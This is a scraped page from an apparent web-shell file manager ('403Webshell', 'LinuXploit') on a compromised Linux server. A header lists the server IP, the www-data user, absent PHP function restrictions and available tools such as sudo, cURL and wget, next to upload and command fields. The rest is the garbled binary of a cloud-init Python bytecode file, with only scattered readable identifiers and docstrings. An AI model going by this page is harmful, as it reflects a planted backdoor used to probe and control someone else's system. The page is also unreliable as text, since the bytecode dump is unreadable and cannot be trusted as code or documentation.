403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceConfigDrive.cpython-314.pyc
+
��i�,��~�^RIt^RIt^RIHtHtHtHt^RIHtH	t	^RI
Ht^RIH
t
^RIHt]P !]4tRtR]/tRtRtRt];QJd.R	]4FNK	5M
!R	]44t!R
R]P4]P64tRtR
tRRltRt RRlt!]t"]]PF33.t$Rt%R#)�N)�	lifecycle�sources�subp�util)�
EventScope�	EventType)�eni)�get_ibm_platform��	openstackziid-dsconfigdrive�instance-idc#�X"�TF p\^4FpRV:V:2x�K	K"	R#5i)�z/dev/N)�range)�.0�z�is&  �I/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceConfigDrive.py�	<genexpr>rs"���E�?�a�E�!�H�q�A�q��H��?�s�(*c��aa�]tRt^!toRt]P]P]P]P]P0/tV3Rlt
RtRtRt]R4t]R4tRtR	tVtV;t#)
�DataSourceConfigDrive�ConfigDrivec�<�\\V`WV4RVn\P
P
VPR4VnRVnRVn	RVn
\PVn
RVnRVn/VnR#)N�config_drive)�superr�__init__�source�os�path�join�seed_dir�version�ec2_metadata�_network_configr�UNSET�network_json�network_eni�
known_macs�files)�self�sys_cfg�distro�paths�	__class__s&&&&�rr�DataSourceConfigDrive.__init__.so���
�#�T�3�G�U�K���������U�^�^�^�D��
���� ���#���#�M�M�����������
�c��\PPV4pV:RVP:RVP:R2pVRVP
,,
pV#)z [z,ver=�]z[source=%s])r�
DataSource�__str__�dsmoder"r)r*�root�mstrs&  rr4�DataSourceConfigDrive.__str__:sD���!�!�)�)�$�/��#'����d�l�l�C���
����-�-���r0c�v�Rp/p/pVPR3F8p\PPV4'gK*\	V4pTpM	V'g�VPPR4p\VR7FcpRp\P!4'dVPR4'dRp\P!V\VR7pTpV'gKcM	V'gR	#VPR
/4p\P$!V\&.4pTP)VPR4VP*PR4VR,^8Xd\,P.MR.4VnVP0\,P28XdR	#\5VP64pVR
,p	W�8wd4\9VVP:VP0\,P.8HR7VP0\,P.8Xd#\P=RWP04R	#WnW n VPR4Vn!VPR4Vn"VR,Vn#VPHPKVPR/44VPR4p
\,PL!V
4Vn'VPR4p\,PL!V4Vn*VPR4Vn+VPR4Vn,R# \
Pd"\P!\RT4EKPi;i \
PdEL�\P dEL�\
P"d!\P!\RT4EL�i;i \Pd)p\PSRT4RTn'Rp?EL(Rp?ii;i \Pd)p\PSRT4RTn*Rp?EL1Rp?ii;i)Nz
/config-drivez#Failed reading config drive from %s�datasource_list)�dslistz/dev/cd�cd9660)�mtypezBroken config drive: %sF�metadatar5r"r
)r,�networkz&%s: not claiming datasource, dsmode=%szec2-metadata�userdatar)�
vendordataz"Invalid content in vendor-data: %s�vendordata2z#Invalid content in vendor-data2: %s�network_config�networkdataT)-r!rr�isdir�read_config_driver�NonReadabler�logexc�LOGr+�get�find_candidate_devs�is_BSD�
startswith�mount_cb�MountFailedError�BrokenMetadata�
mergemanydict�DEFAULT_METADATA�_determine_dsmode�ds_cfgr�DSMODE_PASSr5�DSMODE_DISABLED�get_previous_iidr-�
on_first_bootr,�debugrr>r#�userdata_rawr"r)�update�convert_vendordata�vendordata_raw�
ValueError�warning�vendordata2_rawr'r&)
r*�found�md�results�sdirr;�devr=�prev_iid�cur_iid�vd�e�vd2s
&            r�	_get_data�DataSourceConfigDrive._get_data@sh����
�����]�]�O�4�D��7�7�=�=��&�&��
N�+�D�1�����
5���\�\�%�%�&7�8�F�*�&�9�����;�;�=�=��~�~�i�0�0� (��
E�"�m�m��.�e��G� �E��5��#:�$��
�[�[��R�
(��
�
�
��%5� 6�
7���,�,����H�%�������)�'.�y�'9�Q�'>��#�#�D�
�
����;�;�'�1�1�1��#�D�J�J�/���]�#����

���{�{����w�':�':�:�
��;�;�'�-�-�-��I�I�8�$���
�����
�#�K�K��7���#�K�K�
�3����y�)����
�
���'�+�+�g�r�2�3�
�[�[��
&��	'�")�"<�"<�R�"@�D��
�k�k�-�(��	(�#*�#=�#=�c�#B�D� �#�;�;�'7�8���#�K�K�
�6�����o�(�(�
N����C�!F��M�M�
N��!�,�,����,�,��� �/�/�E��K�K��%>��D�E��h�	'��K�K�<�a�@�"&�D����	'���	(��K�K�=�q�A�#'�D� � ��	(�sl�
L0�:M)�:O�'P�01M&�%M&�)O�O�O�O�+O�O�P�O=�=P�P8�P3�3P8c�J�\P!VP44#�N)r�instance_id_matches_system_uuid�get_instance_id)r*r+s&&r�check_instance_id�'DataSourceConfigDrive.check_instance_id�s���6�6�t�7K�7K�7M�N�Nr0c� �VPf�VPR\P39dS\PR4\P!VPVPR7VnVP#VPe`\P!VP4Vn\PR4\P!RRRR7VP#\PR4VP#)	Nz(network config provided via network_json)r(z.network config provided via converted eni dataz(Eni network configuration in ConfigDrivez24.3z<You can use openstack's network configuration format instead)�
deprecated�deprecated_version�
extra_messagez"no network configuration available)r$r&rr%rIrYr�convert_net_jsonr(r'r	�convert_eni_datar�	deprecate�r*s&rrC�$DataSourceConfigDrive.network_config�s������'�� � ��w�}�}�(=�=��	�	�D�E�'0�'A�'A��%�%�$�/�/�(��$� �#�#�#��!�!�-�'*�';�';�D�<L�<L�'M��$��	�	�J�K��#�#�I�'-�7�	��#�#�#��	�	�>�?��#�#�#r0c��R#r�rzs&r�platform�DataSourceConfigDrive.platform�s��r0c�v�VPPR4'dRpMRpV:RVP:R2#)z/Return the subplatform metadata source details.z/devzconfig-diskzseed-dirz (�))rrM)r*�subplatform_types& r�_get_subplatform�&DataSourceConfigDrive._get_subplatform�s2���;�;�!�!�&�)�)�,��)��,�d�k�k�:�:r0)r$r5r#r)r(r>r'r&r!rrZr`r]r")�__name__�
__module__�__qualname__�__firstlineno__�dsnamer�NETWORKr�BOOT_NEW_INSTANCE�BOOT�BOOT_LEGACY�HOTPLUG�supported_update_eventsrr4rkrq�propertyrCr~r��__static_attributes__�__classdictcell__�
__classcell__)r.�
__classdict__s@@rrr!s�����
�F�	����'�'��N�N��!�!����	
���
��b�HO��$��$�,����;�;r0rc��\P!V4pVP./3VP./3.p.pVFwrEpV!V/VBu#	VR,h \PdpTPT4Rp?KHRp?ii;i)N���)r�ConfigDriveReader�read_v2�read_v1rG�append)�
source_dir�reader�finders�excps�functor�args�kwargsris&       rrFrF�s���
�
(�
(��
4�F�	����R� �	����R� ��G�
�E�!(���v�	��D�+�F�+�+�")�
��)�O���$�$�	��L�L��O�O��	�s�A�B�*B�Bc���\PPVPR4R4p\P
!V4P
R4# \dR#i;i)�datar
�
N)rrr �	get_cpathr�load_text_file�rstrip�IOError)r-�fnames& rrWrW�sT��
�G�G�L�L�����0�-�@�E���"�"�5�)�0�0��6�6������s�$A�A%�$A%c�d�\V\4'g\R\V4,4hV'd]VP	RR4pV'dCV'd;\
P
R4VP\P!V44\VP	R44R#)zDPerforms any first-boot actions using data read from a config-drive.z/Config-drive data expected to be a dict; not %srC�z-Updating network interfaces from config driver)N)�
isinstance�dict�	TypeError�typerJrIr_�apply_network_configr	rx�write_injected_files)r�r,r?�net_confs&&& rrXrX�sz���d�D�!�!��=��d��L�
�	
���8�8�,�b�1�����K�K�G�H��'�'��(<�(<�X�(F�G�����'�*�+r0c��V'd�\PR\V44VP4FZwrVP	\
P4'g\
PV,p\P!WRR7K\	R#R# \d!\P!\RT4K�i;i)zWriting %s injected filesi�)�modezFailed writing file: %sN)rIrY�len�itemsrMr�sepr�
write_filer�rH)r)�filename�contents&  rr�r��s�����	�	�-�s�5�z�:�!&�����H��&�&�r�v�v�.�.��6�6�H�,��
F������>�	"/�
���
F����C�!:�H�E�
F�s�:B�'C�Cc�V�Vf.pV'd&\Fp\P!VR7K	.p\
F/pVP
\P!RV,44K1	.p\F/pVP
\P!RV,44K1	VPRR7VPRR7YSUu.uF
qwV9gKVNK	up,pVUu.uF)qwV9g\P!V4'dK'VNK+	p	p\PRW�4V	'dBRV9d;\4wr�W�9d)V	PV4\PRVV
4V	# \PdEK�i;iuupiuupi)	a�Return a list of devices that may contain the config drive.

The returned list is sorted by search order where the first item has
should be searched first (highest priority)

config drive v1:
   Per documentation, this is "associated as the last available disk on the
   instance", and should be VFAT.
   Currently, we do not restrict search list to "last available disk"

config drive v2:
   Disk should be:
    * either vfat or iso9660 formatted
    * labeled with 'config-2' or 'CONFIG-2'
)rzTYPE=%szLABEL=%sT)�reversezdevices=%s dslist=%s�IBMCloudz5IBMCloud device '%s' (%s) removed from candidate list)�OPTICAL_DEVICESr�find_devs_withr�ProcessExecutionError�FS_TYPES�extend�LABEL_TYPES�sort�is_partitionrIrYr
�remove)�
probe_opticalr;�device�	by_fstype�fs_type�by_label�label�d�
candidates�devices�ibm_platform�ibm_paths&&          rrKrKsv�� �~����%�F�
��#�#��0�&��I�������,�,�Y�'�-B�C�D���H�������+�+�J�%�,@�A�B��
�N�N�4�N� ��M�M�$�M���	�G�	�1�h�5F�Q�Q�	�G�G�J�
���a�h��d�6G�6G��6J���:����I�I�$�g�6��:��'�!1�!3������N�N�8�$��I�I�G���
��N��M�-�-�
��
��$H��s)�F�F!�F!�2$F&�F&�F�Fc�8�\P!V\4#rn)r�list_from_depends�datasources)�dependss&r�get_datasource_listr�Ks���$�$�W�k�:�:r0)�vfat�iso9660)zconfig-2zCONFIG-2)�sr�cd)NT)TN)&�loggingr�	cloudinitrrrr�cloudinit.eventrr�
cloudinit.netr	�$cloudinit.sources.DataSourceIBMCloudr
�cloudinit.sources.helpersr�	getLoggerr�rI�DEFAULT_IIDrRr�r��POSSIBLE_MOUNTS�tupler��SourceMixinr3rrFrWrXr�rK�DataSourceConfigDriveNet�DEP_FILESYSTEMr�r�r}r0r�<module>r�s����	�4�4�1��A�/�
����!��"���;�����&�����%�E�?�E��%�E�?�E���
h;�I�1�1�7�3E�3E�h;�V��,�	F�>�D1���W�3�3�5�6���;r0

Youez - 2016 - github.com/yon3zu
LinuXploit